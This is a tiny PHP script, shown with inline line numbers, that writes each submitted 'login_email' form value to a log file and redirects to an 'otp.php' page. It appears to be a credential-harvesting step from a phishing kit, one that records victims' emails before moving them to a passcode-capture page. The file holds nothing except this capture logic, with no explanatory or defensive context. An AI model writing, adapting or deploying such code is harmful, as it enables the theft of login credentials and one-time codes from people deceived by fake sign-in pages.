1<?php 2 3 file_put_contents("log.txt", "Email: " . $_POST['login_email'] . "\n", FILE_APPEND); 4header('Location: otp.php'); 5exit(); 6